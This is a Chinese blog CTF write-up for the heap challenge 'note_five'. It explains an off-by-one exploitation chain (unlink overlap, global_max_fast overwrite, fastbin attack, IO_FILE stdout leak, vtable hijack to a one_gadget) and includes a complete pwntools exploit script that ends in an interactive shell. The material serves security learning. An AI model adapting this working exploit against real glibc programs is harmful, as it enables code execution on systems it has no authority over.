注意
本文最后更新于 2024-02-12,文中内容可能已过时。
这道题目我本来想作为,IO_FILE leak
的一个例题来写。
结果…好家伙,这么难,花了将近半天的时间去调试这道题目,终于成功解决了,做了这道题目的收获绝对值这个时间!
对IO_FILE
攻击方式也加深了理解,趁着自己还记得,来写一下wp。
漏洞有:
- off by one
特性有:
- 无法申请fastbin大小(if ( size > 0x8F && size <= 0x400 ))
- 无show函数
- 保护全开
- 最多使用五个堆块地址
利用方法:
修改global_max_fast
- 申请5个块(堆块01234),最后一个块作为隔开top chunk
- 由于有PIE所以不能直接攻击
ptr_pool
,所以利用unlink方法对另外四个块进行overlapping,具体实现可以看unlink那篇里面。 - 申请1个块(长度为堆块0 + 堆块1之和),再申请1个块(长度为堆块2)这个块的地址和之前堆块2的地址一样,申请两个是为了等下再unsorted bin中和fastbin中分别插入一个。
- 释放堆块2,并恢复相关结构,否则报错。
- 释放堆块1,在堆块中构造出main_arena + 88。
- 利用通过c中长度跨越0和1的堆块修改1的size,修改size为接下来fastbin attack UAF做准备,同时修改BK为global_max_fast
- 这时候申请一次,会把Chunk Extend的堆块1拿出来,同时global_max_fast变成大数。
_IO_FILE leak
利用和堆块2地址相同的位置,再次free使得那个位置进入fastbin。我这里搞错了,我本来以为fastbinY[13],也就是对应0xF1大小那一段,是没有值的,结果发现那里实际上是有值的,而且对应的内容正好是前面释放堆块2导致的,这一部分理解的不是很深刻,还需要研究一番。
这样的话就在fastbin上有了libc地址,部分写入到IO_FILE,然后leak,这些都是基本操作了。
_IO_FILE attack
这个我可能讲不清楚,还是看一下参考链接吧!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
| from pwn import *
from LibcSearcher import *
def choice(idx):
if ">> " in r.recvuntil(">>", timeout=0.5):
raise EOFError
r.sendline(str(idx))
def add_heap(idx, size):
# size > 0x8F && size <= 0x400
choice(1)
r.sendlineafter("idx: ", str(idx))
r.sendlineafter("size: ", str(size))
def edit_heap(idx, content):
choice(2)
r.sendlineafter("idx: ", str(idx))
r.sendlineafter("content: ", str(content))
def delete_heap(idx):
choice(3)
r.sendlineafter("idx: ", str(idx))
def pwn():
free_list_addr = 0x27e8
stdout_addr = 0x1620
# gdb.attach(r)
add_heap(0, 0x98) # A1
add_heap(1, 0x98) # A1
add_heap(2, 0xE8) # F1
add_heap(3, 0x98) # A1
add_heap(4, 0x98)
#unlink[0,3]
delete_heap(0)
edit_heap(2, 'a' * 0xE0 + p64(0xA0 + 0xA0 + 0xF0) + '\xA0')
delete_heap(3)
#overlapping
add_heap(0, (0xA0 + 0xA0 - 8)) # 0
add_heap(4, 0xE8) # 4 == 2
add_heap(3, 0x98) # 3
#change mark
edit_heap(0, 'a' * 0x98 + p64(0xA1))
delete_heap(1)
#change size & change BK
edit_heap(0, 'a' * 0x98 + p64(0xA0 + 0xF0 + 1) + p64(0) + p16(free_list_addr))
add_heap(1, (0xA0 + 0xF0 - 0x8))
#fastbin attack
#add to fastbins FD = main_arena.fastbinsY[13]
delete_heap(4)
#partial overwrite
edit_heap(1, 'a' * 0x98 + p64(0xF1) + p16(stdout_addr - 0x51))
add_heap(4, 0xE8)
add_heap(4, 0xE8) #stdout - 0x51
#IO_FILE leak
edit_heap(4, 'a' * 0x41 + p64(0xfbad1800) + p64(0) * 3 + p8(0x58))
stdout_addr = u64(r.recvuntil("\x7f")[-6:].ljust(8, '\x00')) - 131
log.success("stdout_addr: " + hex(stdout_addr))
libc = LibcSearcher("_IO_2_1_stdout_", stdout_addr)
libc_base = stdout_addr - libc.dump('_IO_2_1_stdout_')
log.success("libc_base: " + hex(libc_base))
system_addr = libc_base + libc.dump('system')
log.success("system_addr: " + hex(system_addr))
#vtable
one = [0x45226, 0x4527a, 0xf0364, 0xf1207]
one_gadget = libc_base + one[3]
log.success("one_gadget: " + hex(one_gadget))
payload = 'a' * 0x1
payload += p64(stdout_addr - 0x28 - 0x8 * 3) # _wide_data
payload += p64(0) + p64(0) + p64(0)
payload += p64(1) + p64(one_gadget) + p64(0) + p64(stdout_addr - 0x18 - 0x18) # _mode + _unused2 + stderr_vtable
edit_heap(4, payload)
gdb.attach(r)
#_IO_flush_all_lockp -> _IO_file_overflow
add_heap(0, 0xF8) #malloc(): memory corruption (fast)
r.interactive()
while True:
try:
r = process('./note_five')
pwn()
except EOFError:
pass
|
参考链接:
1.https://blog.csdn.net/weixin_43350880/article/details/101106318
2.https://xz.aliyun.com/t/6468